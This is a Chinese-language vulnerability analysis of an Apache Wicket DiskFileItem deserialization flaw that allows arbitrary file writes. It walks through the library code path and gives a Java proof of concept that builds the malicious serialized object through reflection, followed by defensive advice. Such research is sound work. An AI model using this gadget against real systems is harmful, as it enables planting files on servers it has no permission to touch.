apache wicket 反序列化写文件
字数 1079 2025-08-30 06:50:35
Apache Wicket 反序列化文件写入漏洞分析与利用
漏洞概述
Apache Wicket Utilities 中的 org.apache.wicket.util.upload.DiskFileItem 类存在反序列化漏洞,攻击者可以通过构造恶意序列化数据,在目标系统上写入任意文件。该漏洞利用需要知道目标系统的有效物理路径,且写入文件名不可控。
漏洞分析
关键类与方法
-
DiskFileItem.readObject()
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); OutputStream output = this.getOutputStream(); if (this.cachedContent != null) { output.write(this.cachedContent); } else { FileInputStream input = new FileInputStream(this.dfosFile); Streams.copy(input, output); Files.remove(this.dfosFile); this.dfosFile = null; } output.close(); this.cachedContent = null; }- 反序列化时会调用
output.write(this.cachedContent) cachedContent可通过反射修改
- 反序列化时会调用
-
DiskFileItem.getOutputStream()
public OutputStream getOutputStream() throws IOException { if (this.dfos == null) { this.dfos = new DeferredFileOutputStream(this.sizeThreshold, new DeferredFileOutputStream.FileFactory() { public File createFile() { return DiskFileItem.this.getTempFile(); } }); } return this.dfos; }- 初始化
DeferredFileOutputStream - 通过
FileFactory接口创建临时文件
- 初始化
-
ThresholdingOutputStream.write(byte[])
public void write(byte[] b) throws IOException { this.checkThreshold(b.length); this.getStream().write(b); this.written += (long)b.length; }- 检查阈值并写入数据
-
ThresholdingOutputStream.checkThreshold()
protected void checkThreshold(int count) throws IOException { if (!this.thresholdExceeded && this.written + (long)count > (long)this.threshold) { this.thresholdReached(); this.thresholdExceeded = true; } }- 触发阈值检查逻辑
-
DeferredFileOutputStream.thresholdReached()
protected void thresholdReached() throws IOException { byte[] data = this.memoryOutputStream.toByteArray(); if (this.outputFile == null) { this.outputFile = this.fileFactory.createFile(); } FileOutputStream fos = new FileOutputStream(this.outputFile); fos.write(data); this.currentOutputStream = fos; this.memoryOutputStream = null; }- 关键文件写入点
- 使用
fileFactory.createFile()创建文件
-
DiskFileItem.getTempFile()
protected File getTempFile() { if (this.tempFile == null) { File tempDir = this.repository; if (tempDir == null) { String systemTmp = null; try { systemTmp = System.getProperty("java.io.tmpdir"); } catch (SecurityException var4) { throw new RuntimeException("Reading property java.io.tmpdir is not allowed..."); } tempDir = new File(systemTmp); } try { do { String tempFileName = "upload_" + UID + "_" + getUniqueId() + ".tmp"; this.tempFile = new File(tempDir, tempFileName); } while(!this.tempFile.createNewFile()); } catch (IOException e) { throw new RuntimeException("Could not create the temp file...", e); } if (this.fileUploadCleaner != null) { this.fileUploadCleaner.track(this.tempFile, this); } } return this.tempFile; }- 确定文件写入位置
- 文件名格式为
upload_[UID]_[uniqueId].tmp
漏洞利用链
- 攻击者构造恶意
DiskFileItem对象 - 通过反射设置
cachedContent为攻击载荷 - 设置
repository为目标路径 - 序列化该对象并发送给目标
- 目标反序列化时触发文件写入
漏洞利用条件
- 需要知道目标系统的一个有效物理路径
- 写入的文件名不可控(格式为
upload_[UID]_[uniqueId].tmp) - 目标应用存在反序列化入口点
POC 代码
import org.apache.wicket.util.io.ByteArrayOutputStream;
import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.io.ThresholdingOutputStream;
import org.apache.wicket.util.upload.DiskFileItem;
import java.io.*;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws Exception {
// 设置要写入的文件内容
byte[] data = "test".getBytes();
// 设置目标路径
String repoPath = "C:\\Users\\test\\Desktop\\a";
File repository = new File(repoPath);
// 创建DiskFileItem对象
DiskFileItem diskFileItem = new DiskFileItem("", "", false, "", 0, repository, null);
// 创建DeferredFileOutputStream并设置
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);
// 通过反射设置关键字段
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "cachedContent", data);
// 序列化对象
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("unser.bin"));
objectOutputStream.writeObject(diskFileItem);
objectOutputStream.close();
// 模拟反序列化触发
new ObjectInputStream(new FileInputStream("unser.bin")).readObject();
}
}
防御措施
- 输入验证:对反序列化数据进行严格验证
- 使用白名单:限制可反序列化的类
- 更新组件:升级到修复版本
- 权限控制:限制应用的文件系统访问权限
- 安全配置:使用Java安全管理器限制敏感操作
总结
该漏洞利用Apache Wicket Utilities中DiskFileItem类的反序列化机制,通过反射修改关键字段实现任意文件写入。虽然利用需要知道目标系统的有效路径且文件名不可控,但在特定环境下仍可能造成严重危害。开发者应关注反序列化安全问题,及时更新组件并实施适当的安全措施。